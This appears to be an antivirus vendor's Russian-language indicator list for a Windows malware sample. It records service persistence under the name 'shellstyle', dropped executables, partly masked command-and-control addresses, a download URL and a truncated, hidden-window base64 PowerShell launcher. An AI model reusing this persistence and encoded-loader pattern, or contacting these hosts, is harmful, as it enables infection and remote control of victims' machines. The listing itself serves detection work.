Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\shellstyle] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\shellstyle] 'ImagePath' = '"<SYSTEM32>\shpafact\shellstyle.exe"'
- 'shellstyle' "<SYSTEM32>\shpafact\shellstyle.exe"
- 'shellstyle' <SYSTEM32>\shpafact\shellstyle.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAGIAcwBjAGMAMQAwAD0AKAAoACcAWQA0ACcAKwAnAHUAZgAnACkAKwAoACcAcAAnACsAJwB4AGYAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AHQAZQBNAFAAXABXAE8AcgBkAFwAMgAwAD...
- %TEMP%\word\2019\glkt07c9.exe
- <SYSTEM32>\shpafact\shellstyle.exe
- %TEMP%\word\2019\glkt07c9.exe в <SYSTEM32>\shpafact\shellstyle.exe
- '82.##9.200.118':80
- '18#.#1.158.15':8080
- '51.##5.15.193':7080
- '85.##.207.108':8080
- http://mi###oors.md/backup/hFiCHxXv/
- http://85.##.207.108:8080/z8eSMd6sZusMyE8/R14DiiEQD8uj9/IBEal9Z6BCbm/zUJ3QSpi/ via 85.##.207.108
- DNS ASK mi###oors.md
- '%TEMP%\word\2019\glkt07c9.exe'
- '<SYSTEM32>\shpafact\shellstyle.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAGIAcwBjAGMAMQAwAD0AKAAoACcAWQA0ACcAKwAnAHUAZgAnACkAKwAoACcAcAAnACsAJwB4AGYAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AHQAZQBNAFAAXABXAE8AcgBkAFwAMgAwAD...' (со скрытым окном)